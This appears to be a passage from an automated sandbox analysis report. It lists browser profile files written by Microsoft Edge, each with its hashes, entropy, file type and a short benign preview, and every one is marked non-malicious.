SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.224678607924802
Encrypted:	false
SSDEEP:	6:HU8V9LAt+q2P923oH+TcwtzjqEKj0QMxIFUt8YU8V9lZmw+YU8V9bs3VkwO923oq:6ov4YebvqBZFUt8U/+0sF5LYebvqBaJ
MD5:	C0FD9FBAD817DAEC351E20B1AA1245F7
SHA1:	0693B23B9650A2B463B019AE3E24D645A7917F51
SHA-256:	7E62860874C8E0A46F1A68B6F13079B53F9AB353662DCE762342F9D42B59AD87
SHA-512:	507D5BB8F4D62F8A9F1EEA4EBD2CB010F4DB84F76BC8C0925A07D25283CE437A02ECF145CD0A753A9096349DE9875A00955D42AF98DBDAE0ABC1F4F7717FBDBF
Malicious:	false
Preview:	2024/11/19-03:06:23.501 1fe8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/19-03:06:23.502 1fe8 Recovering log #3.2024/11/19-03:06:23.505 1fe8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.224678607924802
Encrypted:	false
SSDEEP:	6:HU8V9LAt+q2P923oH+TcwtzjqEKj0QMxIFUt8YU8V9lZmw+YU8V9bs3VkwO923oq:6ov4YebvqBZFUt8U/+0sF5LYebvqBaJ
MD5:	C0FD9FBAD817DAEC351E20B1AA1245F7
SHA1:	0693B23B9650A2B463B019AE3E24D645A7917F51
SHA-256:	7E62860874C8E0A46F1A68B6F13079B53F9AB353662DCE762342F9D42B59AD87
SHA-512:	507D5BB8F4D62F8A9F1EEA4EBD2CB010F4DB84F76BC8C0925A07D25283CE437A02ECF145CD0A753A9096349DE9875A00955D42AF98DBDAE0ABC1F4F7717FBDBF
Malicious:	false
Preview:	2024/11/19-03:06:23.501 1fe8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/19-03:06:23.502 1fe8 Recovering log #3.2024/11/19-03:06:23.505 1fe8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.190590952224563
Encrypted:	false
SSDEEP:	6:HU8VG+q2P923oH+TcwtpIFUt8YU8VpA4Zmw+YU8VpAIVkwO923oH+Tcwta/WLJ:zv4YebmFUt8d4/+dg5LYebaUJ
MD5:	4A43819958A59147ABB232890E91D94C
SHA1:	45248FBD119C5A366EB43BAEDED4E575E30A8189
SHA-256:	A8E3598382F9D4E7DB404BB628313382F2EFE845E1666C8911005E5C80BA69FD
SHA-512:	81C3B121705848B350618CFCCD44FAC9F4EBC3BB65A872D49AF60E6D99EFD99960DB68F073AE0F497E66F3963885E1DAF6D34B74B9C597AB73620BDD01F0452F
Malicious:	false
Preview:	2024/11/19-03:06:06.442 1e98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/19-03:06:06.443 1e98 Recovering log #3.2024/11/19-03:06:06.443 1e98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.190590952224563
Encrypted:	false
SSDEEP:	6:HU8VG+q2P923oH+TcwtpIFUt8YU8VpA4Zmw+YU8VpAIVkwO923oH+Tcwta/WLJ:zv4YebmFUt8d4/+dg5LYebaUJ
MD5:	4A43819958A59147ABB232890E91D94C
SHA1:	45248FBD119C5A366EB43BAEDED4E575E30A8189
SHA-256:	A8E3598382F9D4E7DB404BB628313382F2EFE845E1666C8911005E5C80BA69FD
SHA-512:	81C3B121705848B350618CFCCD44FAC9F4EBC3BB65A872D49AF60E6D99EFD99960DB68F073AE0F497E66F3963885E1DAF6D34B74B9C597AB73620BDD01F0452F
Malicious:	false
Preview:	2024/11/19-03:06:06.442 1e98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/19-03:06:06.443 1e98 Recovering log #3.2024/11/19-03:06:06.443 1e98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1220958495980295
Encrypted:	false
SSDEEP:	384:KdM2qOB1nxCkhSAELyKOMq+8yC8F/YfU5m+OlT:Kvq+n0C9ELyKOMq+8y9/Ow
MD5:	89EF9D785D7C60A450776988A167800B
SHA1:	87BFFAEE34DAE0283C00C257A55F1E82AA255551
SHA-256:	E699081874BDD1D6E4C620F629973BC5F8F0FF0201A340A42086E212E0534E7A
SHA-512:	6F3C90F39C064E8209B5D82D9E9ECCA4B01B69C8A2E4B45528FC9F2103FA8F536B63B83636AA985301FA6F42243F9979284AD14742003359C4B1C069D738937E
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b772003b-688b-4dd5-acfc-d9ff55b66b86.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7856
Entropy (8bit):	5.092267141023585
Encrypted:	false
SSDEEP:	192:stVisXx8CZihnkPsY8bV+FiA66WkGlaFIMYZPLMJ:stVisXx8xh/bGix6WkGlaTY2
MD5:	EB8E9342AA5F4D8A943931D9FF849EAE
SHA1:	CD9491DEC96E5CE3DA40680138670C29BA0B5111
SHA-256:	23A4F4A143C7041B1506E02393B26EFB2D4D056AE8D8F750E6B2284D418CA77D
SHA-512:	2132BBD08852CCC0DCE6320818460CC39E0C45850B61387BFE9D5833054D6D63A6A4E938CA0C1AB2A2140DF927713CDFB9376C460E723C47DD80C48BD0BF164E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376477166913402","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13376477166899613"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b8ba08ce-99d7-4fcc-83ed-f1c900b70738.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24718
Entropy (8bit):	5.587109432507414
Encrypted:	false
SSDEEP:	768:j9havpWYQSfWG8F1+UoAYDCx9Tuqh0VfUC9xbog/OV5TYuDrwq/opetu9:j9havpWYQSfWGu1jaiUu4q/xt6
MD5:	CEDA9E02F24B54E79FAA25196F47CBBF
SHA1:	31284A7A499E58BCFD1D3F6EA3396B81BC8636CB
SHA-256:	535AA92CB418D5EBBCB69EBC9BB3C2B39FD62F1F6CC241D7AFF6EDC6803520CF
SHA-512:	C33FAA16A1D66998688CA555E47705BCC4BFCE934B4E0CA7CD314396BB6DB9F5C1F8F6D074BC0E39DC8B92A935182B564C3D8424C2416D5A9ECA55AA032B4814
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376477166227066","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376477166227066","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c790c26b-d6f1-4d4c-8ebd-f29dfeb40b3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7691
Entropy (8bit):	5.093275257722032
Encrypted:	false
SSDEEP:	192:stVisXx8CZihnkPsY8bV+FiA66WbfaFIMYZPLMJ:stVisXx8xh/bGix6WbfaTY2
MD5:	15DDFA8133CC0B981FD0ED639D3133C4
SHA1:	84059AAB481739FB0557468DA070613EA5D3D932
SHA-256:	66CDBE6D18F7892DA4DB38FE0299720890C6591E431AD4071340D5433744BD95
SHA-512:	0A947511EB8AF381D844EE160D0BF882AD92C303E4992A025796FAFB93E77645000C981EE8F324241126E7FCF9E5E0C57B7E34ADA22A0EDB1BCCCD96D0305E0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376477166913402","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13376477166899613"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cbc7b987-8836-428c-9803-2da4177aa8dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7855
Entropy (8bit):	5.091312688815344
Encrypted:	false
SSDEEP:	192:stVisXx8CZihnkPsY8bV+FiA66WiGlaFIMYZPLMJ:stVisXx8xh/bGix6WiGlaTY2
MD5:	624C6366F843908F38B49A197FDF494E
SHA1:	40A96F50EF74BC4784E147C335F006D5D7B9A639
SHA-256:	CD2263ABB71624A6C566F7D40E8AE14D8D1BAEF55534C3553DBD222038AD3235
SHA-512:	A3F18AD7525DC9A0977C0E537ECF5B1436E0A0918D61052B32F69A057BE05BD1B9E3E61D80F3684640260CDBACBEBE08339CC52D301F73D96CA15DBF8EE5DB5E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376477166913402","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13376477166899613"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ed84577e-0ff3-45c2-b095-b86d69f75394.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7691
Entropy (8bit):	5.093158198745057
Encrypted:	false
SSDEEP:	192:stVisXx8CZihnkPsY8bV+FiA66WkfaFIMYZPLMJ:stVisXx8xh/bGix6WkfaTY2
MD5:	3CB3D86B15C68B3EC18526024BD9027E
SHA1:	E796CF703DD67563DC7246C625B3294A374BA540
SHA-256:	44092A1A53D8DB2C6C5EE7C3506FD528B50FBB1C3FEA19FACC5B2EDE1A7BA03A
SHA-512:	38402C0D2356F3CA84D003265BF49910B0E99A78D5707891C87BE9BBFFD2860F72DE1BCE5D5D92B4FAD739A47FB4BF484F3A9F7B2EE17EFF8EE30ECBF7828896
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376477166913402","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13376477166899613"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f34356de-2198-4a8e-8b07-999c1d75c956.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04936279064293761
Encrypted:	false
SSDEEP:	6:Gd0JAmu8jH0JAmu8jL9XCChslotGLNl0ml/XoQDeX:zJXsJXxpEjVl/XoQ
MD5:	5D0C04F0027C10D96C0F276FD4A780EE
SHA1:	A62A3492B8C288E37F84959DBA4F0DCC4558DE90
SHA-256:	0A027CAECA735B56DE709403BD4EFDAAFFC1DB195F2E32E885FC373C19DC0772
SHA-512:	52749897993A5AFE9012208ACCCFD30F02E343C9AB33F8C4E49417AA01C66939D0F19A328921C644892C67C7494C05DD7568C43AC526826044F69606B5DB9529
Malicious:	false
Preview:	..-.....................:Db.W.v..4..}..tT...l...-.....................:Db.W.v..4..}..tT...l.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1925
Entropy (8bit):	5.367696659292595
Encrypted:	false
SSDEEP:	48:iD58vSBS6QDPCHRHUxaIYjIYwzwqkRMYjMYJyHAlkfAlkp3P:aZ06QyIYjIYwzwbRMYjMY8YcY83P
MD5:	B24FC4C1A8E95D9128432E0E7A1A9F28
SHA1:	FC6BBF495203151B9E0CA90AF6B61EF6F33E2E63
SHA-256:	1C8A284A904E3E3B7B2EE885450513AA8A24D0D37EC7B3816F55FA66361DCD1B
SHA-512:	2708CA43A9917A3AEA4CF0A07A27BBF16DF98C542EF01387C624347BC53A2A026C286803028F416A4C1AA0320E28191A80205A965903D4E824A688486294396F
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................A.G.................4_IPH_CompanionSidePanel...IPH_CompanionSidePanel....$4_IPH_CompanionSidePanelRegionSearch(."IPH_CompanionSidePanelRegionSearch.....4_IPH_DownloadToolbarButton...IPH_DownloadToolbarButton....&4_IPH_FocusHelpBubbleScreenReaderPromo*.$IPH_FocusHelpBubbleScreenReaderPromo.....4_IPH_GMCCastStartStop...IPH_GMCCastStartStop.....4_IPH_HighEfficiencyMode...IPH_HighEfficiencyMode.....4_IPH_LiveCaption...IPH_LiveCaption.....4_IPH_PasswordsAccountStorage!..IPH_Pa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.197537477876758
Encrypted:	false
SSDEEP:	6:HU8VCWFl+q2P923oH+TcwtfrK+IFUt8YU8VCWFRZmw+YU8VC/VkwO923oH+Tcwt5:X+v4Yeb23FUt8Q/+LV5LYeb3J
MD5:	5F5545A7257ADE3FAE48397A8FADCF5A
SHA1:	442AADBEE1AC107A97D4AE901FD08413337133C4
SHA-256:	34DBCE1EFF66C9404F66A4643E3EE83B5CA037D8F584C1F6A10E6159CD33AA96
SHA-512:	63357517744F95434282F4126CA3F89B2E632221AA9CB87EB4BBD207699077A93FA9E2DF890F2651408B258A50703DC42CEABA74833AEBF469FB1C1B3300540E
Malicious:	false
Preview:	2024/11/19-03:06:06.934 1e9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/19-03:06:06.934 1e9c Recovering log #3.2024/11/19-03:06:06.935 1e9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.197537477876758
Encrypted:	false
SSDEEP:	6:HU8VCWFl+q2P923oH+TcwtfrK+IFUt8YU8VCWFRZmw+YU8VC/VkwO923oH+Tcwt5:X+v4Yeb23FUt8Q/+LV5LYeb3J
MD5:	5F5545A7257ADE3FAE48397A8FADCF5A
SHA1:	442AADBEE1AC107A97D4AE901FD08413337133C4
SHA-256:	34DBCE1EFF66C9404F66A4643E3EE83B5CA037D8F584C1F6A10E6159CD33AA96
SHA-512:	63357517744F95434282F4126CA3F89B2E632221AA9CB87EB4BBD207699077A93FA9E2DF890F2651408B258A50703DC42CEABA74833AEBF469FB1C1B3300540E
Malicious:	false
Preview:	2024/11/19-03:06:06.934 1e9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/19-03:06:06.934 1e9c Recovering log #3.2024/11/19-03:06:06.935 1e9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.089449943493988
Encrypted:	false
SSDEEP:	24:G0nYUtypD3RUovhC+lvBOL+t3IvB8f12/6:LYUtyp1vxdBllIp8f0i
MD5:	A4FF1AD5DDD86E2FFEC54C60EA640FF0
SHA1:	89C5183277541E50B3760CB1CF96E51D8763C619
SHA-256:	6566C59DB938C176645FC47EE7A229FE0A679DA8185265FDAFC176DC69F6CD64
SHA-512:	7018BDEE309E9AA38094F25DA4DD0063AE3C61B6CBF85BCDCA837F0B255DAF88560A76535B91F4FBC6799AF91C2D041E8F6F777D6B65B77E3CB230DE1051E0A5
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ....P.................3_......C...................4_.......:S.................3_.....!sN..................4_.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.162437748921784
Encrypted:	false
SSDEEP:	6:HU8VCSFZn+q2P923oH+TcwtfrzAdIFUt8YU8VCQFiGXZmw+YU8VCQFiG3VkwO92a:jn+v4Yeb9FUt8EFR/+EFlV5LYeb2J
MD5:	5B79648919BFF73F0102FB989C30B6A5
SHA1:	A7978E769CCA7197A818A81F57330536D22CE8D9
SHA-256:	B86EC538B5D21C30D9C05D4C26F3C55342A0F4179D028C760719D6EE002DEC22
SHA-512:	7E334A5E9C14E93A693E2704A55EBC42CE527A6643125BDD3707D186C85BDC80917F87187C8AFB85100E41F6BA77C20B35A648D7133BC955527F88518B7C3BCF
Malicious:	false
Preview:	2024/11/19-03:06:06.930 1e9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/19-03:06:06.932 1e9c Recovering log #3.2024/11/19-03:06:06.932 1e9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.162437748921784
Encrypted:	false
SSDEEP:	6:HU8VCSFZn+q2P923oH+TcwtfrzAdIFUt8YU8VCQFiGXZmw+YU8VCQFiG3VkwO92a:jn+v4Yeb9FUt8EFR/+EFlV5LYeb2J
MD5:	5B79648919BFF73F0102FB989C30B6A5
SHA1:	A7978E769CCA7197A818A81F57330536D22CE8D9
SHA-256:	B86EC538B5D21C30D9C05D4C26F3C55342A0F4179D028C760719D6EE002DEC22
SHA-512:	7E334A5E9C14E93A693E2704A55EBC42CE527A6643125BDD3707D186C85BDC80917F87187C8AFB85100E41F6BA77C20B35A648D7133BC955527F88518B7C3BCF
Malicious:	false
